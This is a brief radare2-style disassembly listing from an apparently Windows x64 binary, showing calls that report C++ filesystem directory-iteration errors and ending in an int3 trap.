lea rcx, [rsp + 0x390]
call fcn.140034d60
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x240]
call fcn.140035590
lea rdx, [0x140153468]
lea rcx, [rsp + 0x240]
call fcn.1400c07d4
nop
lea r8, [rsp + 0x1e0]
mov edx, ebx
lea rcx, str.directory_iterator::directory_iterator
call fcn.140042dc0
nop
lea r8, [rdi + 0x20]
lea rcx, str.directory_entry::status
call fcn.140042dc0
nop
mov edx, eax
call fcn.140042cd0
nop
call fcn.14003e2e0
int3